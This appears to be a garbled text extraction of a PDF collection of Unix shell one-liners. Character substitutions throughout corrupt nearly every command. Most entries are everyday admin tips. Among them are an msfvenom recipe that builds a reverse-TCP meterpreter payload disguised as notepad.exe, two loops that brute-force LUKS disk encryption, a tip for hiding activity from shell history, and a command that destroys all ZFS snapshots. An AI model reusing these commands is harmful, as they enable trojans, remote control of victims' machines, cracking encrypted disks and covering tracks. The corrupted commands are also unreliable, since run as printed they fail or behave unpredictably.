$EE,/"9?GGG # Yno* your distro ls%release a
# Ho* many *orld *ritea%le (iles on your systemV EMandriva 0inu, msecG # *c l /var/lo&/security/*rita%le2today # Trans(er ntire recursive (rom one host to another2 Only copies (iles that are ne*er or do not e,ist rsync a> e 8ssh portnum%er8 srcdir user7hostQ:destdir # umount ssh(s mounted directory (usermount u X/ssh(smounteddirectory # Title 3ase Iiles rename s/E'4LsLELGLLBBGEa>BG/$Lu$9/& # Yey %indin& to search commandline(u2com 331 / 658
All UNIX COMMANDS (unction ds echo n 8search : 8 read ST ST=_php r 8echo ra*urlencodeE$STG8_ Q?=_echo n $ST4 openssl enc %ase?_ curl s 8http://***2commandline(u2com/commands/matchin&/$ST/$Q?/plainte,t8 4 less p 8$ST8 %ind 8L3)8:8L8dsL3mL88 # Open multiple ta%s in Iire(o, (rom a (ile containin& urls (or /I Ki in Eurllist2t,tG do Iire(o,2e,e ne*ta% 8Ki8 # ;et the < address hostname < # top *ith pro&ame name (unction ptopEG _ps e( 4 &rep $ 8 _
4 a*) Q;
8
# BG/Lu$/& # decompiler (or Dar (iles usin& Dad unDar EG m)dir p /tmp/unDar/$ un>ip d /tmp/unDar/$ $ class ./dev/null FF (ind /tmp/unDar/$ name class type ( 4 ,ar&s Dad (( nl nonl% o p piWW space stat rm r /tmp/unDar/$ # print all para&raphs containin& strin& cat (ile (ile94a*) v RS=para&raph delimiter print $"8Ln84sed e /2/H$!d e ,/strin& to search/!d # print all characters o( any (ile in human read%le (orm usin& he,dump he,dump c -(ile. # Iind removed (iles still in use via /proc ls l /proc//(d/ 4 &rep deleted4 &rep 8L/proc2L(ilenamepart8 # ,tract all <s (rom a (ile &rep E"WB+UGL2E"WB+UGL2E"WB+UGL2E"WB+UG o tmp # Monitorin& (ile chan&e *hile a copy *atch 8ls al my(ile8 # ;enerate a random te,t color in %ash echo e 8LeU$EE $RAN6OM / U9]] 1 GGmHello Jorld!8 332 / 658
All UNIX COMMANDS #
# do*nload *ith chec)sum *&et PO http://***2&oo&le2com 4 tee .EmdZsumG . /tmp/inde,2html # uncomment the lines *here the *ord 6Q@; is (ound sed s/'#LE26Q@;LG/L/ $I<0 # vim read stdin ls 4 vie* # pad (ile names *ith >eros so that (iles sort easily >eros=U (rom= to=Z (or (oo in $EseP $(rom $toG do echo mv 8(ront$(oo%ac)8 8(ront$ Eprint( 8K"$>erosdLn8 $(ooG%ac)8 done # Iind the " users that ta)e up the most dis) space sudo s du sm /@sers/ 4 sort nr 4 head n " # Sho* and update a lo& (ile tail I lo&(ile # move up throu&h directories (aster Eset in your /etc/pro(ile or 2%ashpro(ileG (unction up i=$ *hile $EEiGG &t " B do cd 22/ FF p*d done # 3hrome suc)s ps A o rss+command 4 &rep
3Bhrome 4 a*) sum1=$ N6 print(E8KsMQLn8+sum/"9?G
# ;enerate an ^Y36 #WU style ? *ord pass*ord shu( n? /usr/share/dict/*ords 4 tr Ln # 0ist all sym%olic lin)s in the current directory ls l _(ind 2 ma,depth type l print_ # 6estroy all \IS snapshots >(s list H o name t snapshot 4 ,ar&s n t >(s destroy # search the pattern (rom %>ip9ed %>&rep i 8pattern8 pattern2%>9
(ile
# 3onvert man pa&e to 6I man Tps ls .. lsmanpa&e2ps FF ps9pd( lsmanpa&e2ps # 3ount repeated lines+ listin& them in descendin& order o( (rePuency 03A00=3 sort (ile 4 uniP c 4 sort n ) r # 0e&acy MacOS to @ni, te,t convert usin& perl perl i pe s/Lr/Ln/& (ile # AR Scan 333 / 658
All UNIX COMMANDS i( , /s%in/arpin& B then (or i in 229ZZ do echo arpin& "222$i arpin& c "222$i 4 &rep reply done (i # Qatch resi>e ima&e to e,act &iven resolution i&norin& aspect ratio mo&ri(y resi>e "",""! 2Dp& # Asynchronous <6 Mana&ement sh time2sh 9" F var=8$!8 F sh time2sh 9 " F var9=8$!8 F sh time2sh U ?" F varU=8$!8 F sh time2sh ? U" F var?=8$!8 *ait $var FF *ait $var9 FF *ait $varU FF *ait $var? # 0ist all (iles in current dir and su%dirs sorted %y si>e (ind 2 print( 8Ks KpLn8 4 sort n # To remove all 2s*p (iles underneath the current directory (ind 2 name L2s*p type ( delete # 3onvert an S[; to pn& and crush (ilesi>e sv&9pn&EG pn&=8$K22pn&8 in)scape e,portpn&=8$pn&8 *ithout&ui 8$8 FF pn&crush %rute rem alla rem te,t 8$pn&8 8$pn&2ne*8 FF mv 8$pn&2ne*8 8$pn&8 # Ior pictures : copy the last hierarchical )ey*ord Eta&G in the caption Etitle+ descriptionG i( empty2 e,i(tool over*riteori&inal preserve recurse 8iptc:3aptionA%stract-$ ^M:HierarchicalSu%Dects/21L4//&8 i( 8not $iptc:3aptionA%stract8 6ation E*hat total idle is cpuG sar U # Iind (iles and calculate si>e o( result in shell (ind 2 name 8pattern8 type ( e,ec du ch 1 4 tail n # 3haracter Random ass*ord - /dev/urandom tr dc A\a>"W 4 head c$:echo
# Mer&e 3oncate MU (iles so, 2mpU t *avpcm 4 lame . %unch2mpU # 3d 6elu,e improved cd command (or ni, and *indo*s cdd NAM6OTe in a directory (ind 2 si>e 1"9?") e,ec stat cKs8 8Kn L 4 sort rn
# list uniPue (ile e,tensions recursively (or a path+ include e,tension (rePuency stats 335 / 658
All UNIX COMMANDS (ind /some/path type ( 4 &a*) I/ print $NI 4 &a*) I2 /L2/print $NI 4 sort 4 uniP c 4 sort rn # ;et last sleep time on a Mac sysctl )ern2sleeptime # Iind core (iles (ind 2 type ( re&e, 82/core2"WB"WB"WB"WB$8 # Read the @seless @se o( 3at A*ards pa&e elin)s http://partmaps2or&/era/uni,/a*ard2html # 3ommand to %uild one or more net*or) se&ments *ith *hile se&EG echo e 8$8 4 *hile read 0ed search command alias cr=(ind 2 9./dev/null re&e, L2L2LEcL4cppL4pcL4hL4hppL4ccLG$L 4 ,ar&s &rep color=al*ays ni 39 # Alias (or displayin& a process tree nicely alias pst=pstree Alpha # 3ommand to %uild one or more net*or) se&ments *ith (or se&EG (or % in $Eecho $G do (or , in $EseP "G do echo $%2$, done done # (orce chan&e pass*ord (or all user *hile
All UNIX COMMANDS echo e 89 mornin&LnZ a(ternoonLn9? evenin&8 4a*) i( E_date 1KH_-$G print 8;ood 8$9e,it # osts a (ile to sprun&e2us and copies the related url to the clip%oard sprun&e EG curl s I 8sprun&e=7$8 http://sprun&e2us 4 ,clip selection clip%oard FF ,clip selection clip%oard o # Restore permissions or o*nership (rom a %ac)up directroy (or , in _(ind /dir**ron&o*nership/_ do y=_echo 8$,8 4 sed s+/dir**ron&o*nership/+/%ac)updir/+_ cho*n re(erence $y $, done # ;et the name or user runnin& the process o( speci(ied <6 ps p pid o lo&name 4tail # Remove color codes Especial charactersG *ith sed sed r s/$Eecho e 8L"UU8GL"WB+9EE"WB+9GVGVmYB//& # Remove all 2svn directories recursively (rom a directory (ind 2 name 2svn type d 4 ,ar&s rm r( # <( *ith line (ind
a directory contains so(tlin)s+ &rep *ill &ive lot o( *arnin&s2 So %etter use it alon& (ind command so that so(tlin)s are e,cluded2 8Hn8 operator *ill ta)e care that %oth num%er and (ilename is sho*n in &rep output /path/to/search/directory e,ec &rep Hn 8pattern8 L
# 0ocate command (or MA3 OS^ alias locate=i( $EE_date 1Ks__eval $Estat s /var/d%/locate2data%aseG echo $stmtime_GG &t U"" B then echo 8locate: d% is too old!8./dev/stderr sudo /usr/li%e,ec/locate2updated% (i locate i
# )vm dis) in(o *hile read ^ do print( 8$^ 8 virsh dump,ml $^ 4 e&rep 8source dev4source (ile8 done-Evirsh list 4 a*) $ X /'WB/ print $9 G # open emacs *ith no init (ile emacs P # 3hec) the state o( a service sc Puery servicename # 6o*nload ;erman *ord pronounciation as mpU (ile (or * in JORTB JORTnB do *&et O $*2mpU $E*&et O 8http://***2duden2de/rechtschrei%un&/$*8 4 &rep o 8http://***2duden2de/media/audio/ 'L2BL2mpU8G done # the e,ecuta%le that started the currently runnin& oracle data%ases and the ORA30HOM relative to each ps e( 4&rep oracle 4&rep pmon 4a*) print $9 4,ar&s < ps e** 4&rep pmon 4&rep v &rep 4a*) print $Z 8 8 $ 8 8 $" 4sed s/LESLG LESLG 2ORA30HOM/L L9/& 4cut (+9+U d8 8 # lay (iles *ith mplayer+ includin& (iles in su%directories+ and have )ey%oard shortcuts *or) mplayer playlist -E(ind $J6 type (G #
All UNIX COMMANDS # Iind all relevant certi(icates Ee,cludin& some dirsG and list them each (or crt in $Elocate r 21L2crt 4 &rep v 8/usr/share/cacerti(icates/8G do done
ls la $crt
# Transcode an interlaced video avconv i interlaced2avi c:v li%,9? preset slo* tune (ilm (la&s 1ilme1ildct c:a copy transcoded2mp? # 0o& 0ines er Second apache+ n&in,+ hapro,y and/or sPuid tail I /var/lo&/apache9/access2lo& 4 pv N RAJ lc ./dev/null # open emacs *ith di((erent HOM HOM=/home/sachin/anotheremacshome emacs # Open current *allpaper on nautilus (ilemana&er Echan&e (ilemana&er name (or othersG &settin&s &et or&2&nome2des)top2%ac)&round pictureuri 4 ,ar&s nautilus # rint the list o( all (iles chec)ed out %y er(orce S3M alias opened=p? opened 4 a*) I# 8print L$8 # 3reate a multipart RAR archive rar a vS<\B archivenameB (ilesB # ;et your e,ternal < address *&et PO http://***2sputnic)area2net/ipecho # 3reate SSH )ey e,chan&e (rom one host to the other cat X/2ssh/idrsa2pu% 4 ssh -remotehost. 8,ar&s null echo .. X/2ssh/authori>ed)eys8 # lay %ac) shell session recorded usin& the Ee total stora&e used %y (iles o%tained %y a (ind command (ind /path/to/archive/V/VV/VVV mtime ] name 82pd(8 4 ,ar&s stat c 8Ks84 a*) sum 1=$N6print(E8K"2"(Ln8+sumG4sed r :0a%els=L%E"WB1GE"WBUGL%=L+L9=&t 0a%el # &enerate random pass*ord E*or)s on Mac OS ^G env 033T=3 tr dc 8a>A\"WL$LV8 - /dev/urandom 4 head c " # &rep (or a list o( values and list matchin& values NOT matchin& lines each time they match &oo some thin&s you search (or - (ile # Realtime apache hits per second tcp(lo* c port " 4 &rep Host # Trac)list reaplace %ac)space to rename s/ //& 2mpU # convert sin&le di&it to dou%le di&its (or i in "WB2o&& do mv +"$i done # Test a&ainst loop%ac) address *ith the "2"2"2" de(ault route2 telnet " -port. # emacs: %yte compile (ile emacs %atch 5 nosite(ile eval E%ytecompile(ile 8my(ile2el8G
338 / 658
All UNIX COMMANDS # ou can access someima&e2html *here you include a ima&e any other (ile than you can access it throu&h http usin& a %ro*ser Ee2&2 http://,,,2,,,2,,,2,,,:9U?Z G cat someima&e2html 4 nc v l p 9U?Z # Qatch 3onvert S[; to N; Ein parallelG parallel convert 22pn& ::: 2sv& # 6isplay H (iles that directly instantiate a &iven class (ind 2 name 82php8 e,ec &rep LH 8ne* (ilter8 L # ;enerate Iiles *ith Random 3ontent and Si>e in Qash noo((iles=" counter= *hile $counter le $noo((iles BB do echo 3reatin& (ile no $counter dd %s="9? count=$RAN6OM s)ip=$RAN6OM i(=/dev/sda o(=random(ile2$counter let 8counter 1= 8 done # 0ist your Qo,ee Pueue curl u -username. http://app2%o,ee2tv/api/&etPueue 4 ,ml9 4 &rep /%o,ee(eed/messa&e/description 4 a*) I= print $9 # di(( recursively+ i&norin& 3[S control (iles di(( , 83[S8 r -path. -path9. -pathU.B # Sho* directory si>es+ re(reshin& every 9s *atch (ind ma,depth mindepth type d
4,ar&s du csh
# intersection o( t*o arrays Array=E 8one8 8t*o8 8three8 8(our8 8(ive8 GArray9=E 8(our8 8(ive8 8si,8 8seven8 Gsaved (iles and remove the compressed 2tar2&> (or i in 2tar2&> do tar , v > ( $i FF rm v $i done # 6elimiter Huntin& (or i in _seP " W_ A Q 3 6 I do (or D in _seP " W_ A Q 3 6 I do H^=L$LLL,$i$DL i( ! eval &rep PI 8$H^8 (ile then eval echo $H^ LL,$i$D (i done done 9. /dev/null 4 less # Trac)list reaplace %ac)space to perl e (or E-2mpU.G $old = $ s/ //& rename $old+ $ # erl chec) i( li%rary is installed perl e 8use SOA::0ite8 # 3hec) i( you need to run 0aTe^ more times to &et the re(e(ences ri&ht e&rep 8EThere *ere unde(ined re(erences4Rerun to &et Ecrossre(erences4the %arsG ri&htG8 te,(ile2lo& # 3reate a mpe&? video (rom a Dpe& picture sePuence Ee2&2 (or pencil animationG + (rom the current directory *ith mencoder mencoder m(://2Dp& m( *="":h="":(ps=9Z:type=Dpe& ovc lavc lavcopts vcodec=mpe&? oac copy o output2avi # Sho* sorted list o( (iles *ith si>es more than MQ in the current dir (ind 2 ma,depth type ( si>e 1M print( 8K(:KsLn8 4 sort t8:8 )9 # sho* tcp syn pac)ets on all net*or) inter(aces tcpdump i any n tcpUB == 9 339 / 658
All UNIX COMMANDS # 3ount and sho* duplicate (ile names (ind 2 type ( 4sed 8s#2/##&8 4sort 4uniP c d # print all characters o( a (ile usin& he,dump ,,d -(ile. # 6isplays userde(ined ps output and pidstat output a%out the top 3@ or MMory users2 (or i in $Eps eo pid+pmem+pcpu4 sort ) U r4&rep v <64head "4a*) print $Gdo di(( y* -Epidstat p $i4&rep v 0inu,G -Eps o euser+pri+psr+pmem+stat p $i4tailGdone # process lister/)iller no p&rep and p)ill pEG ps a, 4&rep $ 4sed /&rep28$8/d 4*hile read ado print( $aKK print( 8$a# 8 .F9print( Lndone # Revert all modi(ied (iles in an S[N repo (or (ile in _svn st 4 a*) print $9_ do svn revert $(ile done # 0ist ima&e attri%utes (rom a (older o( C; ima&es (or (ile in 2Dp& do identi(y (ormat K( K% K5 K* Kh $(ile done # identi(y active net*or) connections lso( i 1c " 1M 4 &rep i 8$8 # Remove duplicate lines usin& a*) a*) !E$" in arrayG array$"B print temp # Iind all Mac Address /s%in/lspci v 4 &rep i 86evice Serial Num%er8
# Iind processes %loc)ed on
All UNIX COMMANDS # Add an 8alert8 alias (or lon& runnin& commands alias alert=noti(ysend ur&ency=lo* i 8$E $V = " B FF echo terminal 44 echo errorG8 8$ Ehistory4tail n4sed e Ls/'Ls"WBL1Ls//s/F4BLsalert$//LG8 # 3opy *ith pro&ress &cp sourceB destinationB # Archive and compress a directory usin& &un>ip compression tar >cv( archivename2tar2&> directorytocompress # Automatically sync current &it proDect *ith remote host *hile editin& *hile true do rsync vR $E&it ls(iles 4 inoti(y*ait P e modi(y e attri% e close*rite (rom(ile (ormat K*G user7host:dest/dir/ done # count and num%er lines o( output+ use(ul (or countin& num%er o( matches ps au, 4 &rep hBttpd 4 cat n # 3reate uniPue email addresses directly (rom the @S census siteIull command in comments paste d 828 -Ecurl http://222/dist2(emale2(irst http://222/dist2male2(irst 4 cut d 8 8 ( 4 sort uRG -Ecurl http://2222/dist2all2last 4 cut d 8 8 ( 4 sort R 4 head ZUG 4 tr 8:upper:B8 8:lo*er:B8 4 sed s/$/7test2domain/& # (ind the device *hen you only )no* the mount point d( 4 a*) $==8/media/Y
(ore&round color
# Sho* Je%Sphere AppServer uid4pid4cell4node4Dvms ps e( 4 &rep DBava 4 a*) I print $+8 4 sort )?
8+$9+8Lt8+$ENI9G+8Lt8+$ENIG+8Lt8+$NI
# repeat a command every , seconds *hile sleep do (oo done # 3hec) *here mail *as sent (rom &rep c*d /var/lo&/e,immainlo& 4 &rep v /var/spool 4 a*) I8c*d=8 print $9 4 a*) print $ 4 sort 4 uniP c 4 sort n # Recursive (ind all mp?s in a (older and convert to o&v i( the o&v does not e,ist or the mp? is ne*er then the current o&v (or (ile in $E(ind 2 name 2mp?G do o&v=$(ileKK2mp?2o&v i( test 8$(ile8 nt 8$o&v8 then echo $(ile is ne*er then $o&v ((mpe&9theora $(ile (i done # ,port/Qac)up a ost&reS50 data%ase p&dump @ post&res nome6QB . d%2dump 341 / 658
All UNIX COMMANDS # shell alternative to %asename echo $(ile##/ # run vm*are virtual machine (rom the command line *ithout the &ui or ^ session vmrun start /path/to/virtualmachine2vm, no&ui # ;et Iuturama Puotations (rom slashdot2or& servers curl s< http://slashdot2or&/ 4 sed nr s/^EQender4IryGE2G/LL9/p # Sho* a con(i& (ile *ithout comments &rep v '# /etc/some(ile2con( 4 &rep 2 # prips can %e used to print all < addresses o( a speci(ied ran&e2 prips # 3apitali>e (irst letter o( each *ord in a strin& echo (Oo QaR 4 ru%y e 8p ST6eG2DoinE G8 # 3reate an animated &i( (rom a outu%e video youtu%edl o %un2(lv http://***2youtu%e2com/*atchVv=S(0c5h^p3c mplayer %un2(lv ss "U: endpos Z vo Dpe&:outdir=%un:Puality="":smooth=U":pro&ressive v( scale=U9":9?" nosound convert delay ? loop " %un/2Dp& %un2&i( # 0ist (iles under current directory+ i&norin& repository copies2 (unction havehere (ind 8$7:28 type d LE name 2&it o name 2svn o name 2%>r o name 3[S o name 2h& o name pycache LG prune o type ( print # 0et you vanish in the E%ashG history2 e,port Hip >ipin(o aap2>ip 4 ,ar&s d Ln rm # Remove %lan) lines (rom a (ile &rep v 8'$8 (ile # &et a list o( runnin& virtual machines (rom the command line Evm*areG vmrun list # %ash &lo% dot(iles shopt s dot&lo% # 0inu, >sh oneliner to 6etermine *hich processes are usin& the most s*ap space currently (or i in $Eps e( 4 a*) print $9G s*p=$E a*) /S*ap/sum1=$9 N6 print sum /proc/$i/smaps G i( n $s*p FF " != $s*p BB then echo n 8Ln $s*p $i 8 cat /proc/ $i/cmdline (i 4 sort nr # 0ist only directories+ one per line ls l 4 &rep 'd 4 sed s:2L ::& # Ma)es you loo) %usy 342 / 658
All UNIX COMMANDS alias %usy=rnd(ile=$E(ind /usr/include type ( si>e 1Z) 4 sort R 4 head n G FF vim 1$ EERAN6OMK$E*c l $rnd(ile 4 cut ( d8 8GGG $rnd(ile # ;et your out&oin& < address echo n $Ecurl Ss http://icanha>ip2comG 4 ,clip # */o p&rep/p)ill pEG ps a, 4&rep $ 4sed /&rep28$8/d 4*hile read ado print( $aKK print( 8$a# 8 .F9print( Lndone # ena%le all %ash completions in &entoo eselect %ashcomp ena%le &lo%al $Eeselect %ashcomp list 4 sed e s/ //&4 cut dB (9 4 sed e s/L//4 ,ar&sG # the (irst command i type on (resh u%untu sudo apt&et install aptitude # hello hello+ too # cd Nst su%dir cdnEG cd $Els d / 4 sed n $7pG # num%er the line o( a (ile cat n (ile or cat % (ile
# Iind unused <s on a &iven su%net nmap s -su%net.2 4 e&rep o "WB1L2"WB1L2"WB1L2"WB1 . results2t,t (or < in 229Z? do echo 8-su%net.2$<8 done .. results2t,t cat results2t,t 4 sort n t 2 ) + ) 9+9 ) U+U ) ?+? 4 uniP u # S)ip %anner on ssh lo&in prompt ssh P user7server # convert a strin& o( he, characters into ascii chars echo $he, 4 perl pe s/E22G/chrEhe,E$GG/&e # rint time and year o( (ile in Solaris Eor other @ni, ls command that does not have a simple 8(ulllist8G perl e 7I = _ls _*hile E-7I.G7T = statE$Gprint 8$ = 8 2 localtimeE$TBG 2 8Ln8 # 0ist all %roadcast addresses (or the routes on your host2 (or net in $Eip route sho* 4 cut ( dL 4 &rep v de(aultG do ipcalc $net 4 &rep Qroadcast 4 cut dL ( 9 done # 0ist only directories+ one per line (ind 2 ma,depth mindepth type d print( 8K(Ln8 # do*nload all Dp& in *e%pa&e curl sm http://***2*e%site2com/ 4 &rep o http://'8BDp& 4 sort u 4 *&et PT i # 6elimiter Huntin& perl e $( = DoinE88+ -.G (or E"229]G $ = chrE$G i( E/:print:BB/G print i( inde,E$(+ $G - " print 8Ln8 # host&rep: set ip and hostname (rom /etc/hosts Enon6NSG
343 / 658
All UNIX COMMANDS dn&EG local aa=$Esed /8$8/!d /etc/hosts 4sed =8$9+$8!d4sed / /!dGecho $a4 tr L"?" Ln4nl %p"WB$4less e,port dn=$Eecho $a4sed s+2 ++Ge,port ip=$Eecho $a4sed s+ 2++Gecho L$dn=$dnecho L$ip=$ip # The letter your commands most o(ten start *ith (or i in a22> do echo $Ecat X/2%ashhistory 4 &rep '$i2 4 *c lG $i done 4 sort n r # Qac)up all (iles matchin& a pattern to (iles *ith a timestamp (or I<0 in 2con( do cp $I<0+2_date 1KKmKdtKM:KH:KS_ done # 3hec) SSH (in&erprints (or id in _ls X/2ssh 4 &rep v 8authori>edL4)no*nhostsL4con(i&L4L28_ do echo n 8$id: 8 ssh)ey&en l ( 2ssh/$id done # Sho* a calendar cal monthB yearB # 3hec) the last Z pac)a&e operations Eon yum systemsG tail n Z /var/lo&/yum2lo& 4 tac # Replace *ords *ith sed sed /Q;
# rint all *ords in a (ile sorted %y len&th 344 / 658
All UNIX COMMANDS (or a in $E- I<0NAMG do echo 8$E%c --- $E*c m---$aGG $a8done4sort n # ;et your current u%lic < curl i(con(i&2me # 3reate an alias command that clears the screen and scroll %ac) %u((er Ein putty and ,termG alias clearscroll%ac)=clearprint( K% 8L"UUUC8 # 6isplay the speci(ied ran&e o( process in(ormation ps au, 4 sort n )9 4 a*) i( E$9 - U""G printE$"G # Qrute(orce dmcrypt usin& shell e,pansion (or a in p+a+A+?s+S+Zs+S+Z do echo $a4cryptsetup lu)sOpen /dev/sdaZ $a FF echo Y IO@N6: $a done # chan&e to the selected directory (or >sh users alias scd=dirs v echo n 8select num%er: 8 read ne*dir cd 8$ne*dir8 # [ie* the octal dump o( a (ile od vt , /tmp/spa&hetti(ile # Report Jhat Tape is in Autoloader Mailslot Eusin& Qarcode 0a%elG mt, ( /dev/s&U status 4 &rep ^ORT 4 cut c ZU # rint time and year o( (ile in Solaris Eor other @ni, ls command that does not have a simple perl e (oreach E7AR;[G 7T=statE$G print localtimeE$TBG28 82$28Ln8 # Search (or classes in Cava CAR (iles2 (ind 2 name 82Dar8 4 *hile read line do echo 8### $line 8 un>ip l $line done 4 &rep 8'###L4youstrin&8 4less # num%er (iles in directory accordin& to their modi(ication time
All UNIX COMMANDS (or i in rpc%ind
n(sloc)
lldpad (coe rpcidmapd do service $i stop ch)con(i& $i o(( done
# Qrute(orce dmcrypt usin& dictionary cat dictionary2t,t4*hile read a do echo $a4cryptsetup lu)sOpen /dev/sdaZ sdaZ $a FF echo Y IO@N6: $a done # send (iles via ssh,(er cat some(ilehere2t,t 4 ssh,(er nametocall(ile2t,t # Search &d% help pa&es &d% command: apropos -)ey*ord. # 3hec) synta, o( all H (iles %e(ore an S[N commit (or i in _svn status 4 e&rep 'EM4AG 4 sed r s/L1Ls1// 4 a*) print $9 _ do i( ! d $i B then php l $i (i done # Over*rite local (iles (rom copies in a (lat directory+ even i( theyre in a di((erent directory structure (or ( in $E(ind ma,depth " type (G do (ile=$E(ind X/tar&et name $(G i( n 8$(ile8 B then cp $(ile $(ile2%a) mv $( $(ile (i done # 6[6 to ouTu%e ready *atermar)ed M;? A[< (ile usin& mencoder Estep G mencoder oac mpUlame lameopts c%r=9 ovc lavc lavcopts vcodec=mDpe& o dvd2avi dvd://"
# cat a con(i& (ile removin& all comments and %lan) lines &rep vh ':space:BBLE#L4$LG -(ile. # ;et Stu((2 curl 8http://***2commandline(u2com/commands/matchin&/$Eecho 8$78 4 sed s/ //&G/$Eecho n $7 4 %ase?G/plainte,t8 # loo)up a short url *ith curl curl < 0 http://t2co/m5@,0yS # ;et ls to only sho* directories under 2 ls al 4 &rep 'd # Top Ten o( the most active committers in &it repositories &it shortlo& s 4 sort rn 4 head # in& a ran&e o( num%ered machines c:L.(or Kt in E" 9 U ? Z ]G do (or Kd in E" 9 U ? Z ] WG do pin& n Kd
machine"Kt
# 3lear RAM cache su c sync echo U . /proc/sys/vm/dropcaches # 3onvert any encodin& to @TI iconv ( $E(ile %i (ilename2e,t 4 sed e s/2 Bcharset=//G t ut( (ilename2e,t . (ilename2e,t # Serve one or more &it repositories &it daemon reuseaddr ver%ose e,portall %asepath=/parent/o(/%are/&it/repos # Jhich (iles/dirs *aste my dis) space du aQm4a*) $ .= "" # Sho* current (older permission recursively (rom /+ use(ul (or de%u&&in& ssh )ey permission 346 / 658
All UNIX COMMANDS pushd 2. /dev/null cd / (or d in _echo $O06J6 4 sed e s/L// /&_ do cd $d echo n 8$d 8 ls ld 2 done popd ./dev/null # Sometimes you Dust *ant a Puic) *ay to (ind out i( a certain user account is loc)ed 0inu,B2 a*) I8:8 print $ /etc/pass*d 4 *hile read @@ do STAT@S=$Epass*d S $@@ 4 &rep loc)ed 9./dev/nullG i( ! > $STAT@S BB then echo 8Account $@@ is loc)ed28 (i done # Remove comments and empty lines (rom a (ile &rep v '#L4'$ /etc/hdparm2con( # delete all trailin& *hitespace (rom each line in (ile sed s/ LtB$// - -(ile. . -(ile.2out mv -(ile.2out -(ile. # urldecodin& ls 4 *hile read (indo (out=$Eecho n $(in 4 sed es/KLE"WAIB"WAIBLG/LLLLL,L/& 4 ,ar&s echo eGi( 8$(out8 != 8$(in8 Bthen echo 8mv $(in $(out8(idone 4 %ash , # )ills all phpZ(c&i processes (or user per name p)ill W u username phpZ(c&i # ;ra%s Open Iiles and Then ;reps Them lso( 4 &rep 8stu((8 # (aster replace stin& *ith dd :4dd o(=2/ssss2t,t see)= %s=$EE$Estat cKs 2/ssss2t,tG$Etail n 9 2/ssss2t,t4*c cGGG # Hi%ernate a(ter U"minutes sudo %ash c 8sleep U"m pmhi%ernate8 # Iind all (iles matchin& name2,ml and search (or te,t *ithin them &rep nH 8te,t8 r 2 include name2,ml # 3hec) (sta% volumes and volumes mounted2 di(( -Ecat /etc/(sta% 4 &rep vol 4 &rep v 8'#8 4 a*) print $G -Ed( h 4 &rep volG # Return the oneliner &oo&le response (or Pueries li)e 899?8 or 8*hat time is it in the u)8 &oo&leEG 5=8$78 ;OO;@R0=https://***2&oo&le2com/searchVP= A;NT=8Mo>illa/Z2" E^ 0inu, ,?G AppleJe%Yit/ZU]2U EYHTM0+ li)e ;ec)oG 3hrome/UU2"2]Z"2Z9 Sa(ari/ZU]2U8 elin)s dump 8$;OO;@R0$5//L /18 4 &rep 8L8 4 head # svn di(( $ 4 colordi(( 4 lv c svn di(( $ 4 colordi(( 4 lv c # Sometimes you Dust *ant a Puic) *ay to (ind out i( a certain user account is loc)ed 0inu,B2 &etent shado* 4 *hile
# Sho* all Stora&e Repositories on ^enServer ,e srlist 347 / 658
All UNIX COMMANDS # 3hec) i( SS0 session cachin& is ena%led on ;oo&le &nutlscli [ r ***2&oo&le2com 4&rep Session <6 # Speed @p JAN Iile Trans(er Jith 3ompression ssh "2"2"2? 8&>ip c /tmp/%ac)up2sPl8 4&un>ip . %ac)up2sPl # Resolution o( a ima&e identi(y ima&e2Dp& 4&rep o 8:di&it:BB,:di&it:BB8 4tail # (ind (ileEsG on dis) (ind / name to(ind2sh 9./dev/null # Turn your monitor on or o(( or put into stand%y (rom the command line2 v%etool dpms on4o((4stand%yB # Run a command on all servers usin& (unc (unc 88 call command run 8uname i8 # test console colors E ,=_tput op_ y=_print( K$EE$3O0@MNSGGs_(or i in "229Zdo o=""$iecho e $o:$#o U:U _tput seta( $itput seta% $i_$y// /=$,done G # Arch 0inu, sort installed pac)a&es %y si>e pacman 5i 4 &rep NameL4Si>eL46escription 4 cut d: (9 4 paste print $9+ 8Lt8+ $+ 8Lt8+ $U 4 sort rn
4 a*) ILt
# encrypt+ split and &et ready (or dvd a lar&e (ile via tar and ccrypt tar c>( /directory/to/tar 4 ccrypt ) yourpass*ord 4 split %Z"m /(inal/encrypted2cpt # cpanel umount virt(s mounts (or i in _cat /proc/mounts 4 &rep /home/virt(s 4 cut d V V ( 9 _ do umount $i done # (ind 2 name 82t,t8 4 ,ar&s sed i 8s/old/ne*/8 (ind 2 name 82t,t8 4 ,ar&s sed i 8s/old/ne*/8 # Set the master volume to W"K E@%untuG aumi, v W" # Sometimes you Dust *ant a Puic) *ay to (ind out i( a certain user account is loc)ed 0inu,B2 &etent shado* 4 &rep '':BL1:! 4 cut d: ( # ;et <v? o( eth" (or use *ith scripts /s%in/i(con(i& eth" 4 &rep inet addr: 4 a*) print $9 4 sed s/addr:// # delete all leadin& and trailin& *hitespace (rom each line in (ile sed s/' LtB//s/ LtB$// - -(ile. . -(ile.2out mv -(ile.2out -(ile. # Ma)e sure your script runs *ith a minimum Qash version i( > 8$QASH[RS 8$QASH[RS
All UNIX COMMANDS # This little command edits your &iti&nore (rom any*here in your repo vim $E&it revparse sho*toplevelG/2&iti&nore # Ho* to (ind all open (iles %y a process in Solaris " (or i in _p(iles pid4&rep S2cpt a>B 4 ccdecrypt ) yoursecretpass*ord 4 tar ,>( # (ind an ^ *indo* %y its title and hi&hli&ht it ,dotool search name Thunder%ird set*indo* ur&ency K7 # T3 and @6 listenin& soc)ets netstat tunlapo
# Maven e lines Eopposite o( 4 sortG cat X/SortedIile2t,t 4 perl *nl e 7(=-. N6 (oreach $i Ereverse " 22 $#(G $r=int rand E$i1G 7($i+ $rB=7($r+$iB unless E$i==$rG chomp 7( (oreach $line E7(G print $line # 3reate thum%nail o( 6I evincethum%nailer si>e="" %oo)2pd( %oo)2pn& # Iunction to chec) *hether a re&ular (ile ends *ith a ne*line end*nlEG $Etail c $ 4 ,,d psG == "a BB # (ind str in in a directory *hich (ile e,tension is 2php ac) type=php -strin&. # Puic) rename imv (oo # cat lar&e (ile to clip%oard cat lar&e2,ml 4 ,clip # Ma)e all ;@< stu(( sho* up on the display connected to the computer E*hen youre lo&&ed in via SSHG 6
? 9" sleep
# ;et sunrise time (or any city+ %y name sunriseEG city=$Seattle *Um 8&oo&le2com/searchVP=sunrise:$city8 4 sed r +/'LsL2/d /'Ls9L2/+$d /'$/d # 3reate and encode a reverse tcp meterpreter payload *ith shi)ata&anai2 ms(venom p *indo*s/meterpreter/reversetcp lhost=W92229 lport=???? e ,/shi)ata&anai i Z ( e,e , X/notepad2e,e ) . notepod2e,e # *rite cd/dvd *ith &enisoima&e and *odim 349 / 658
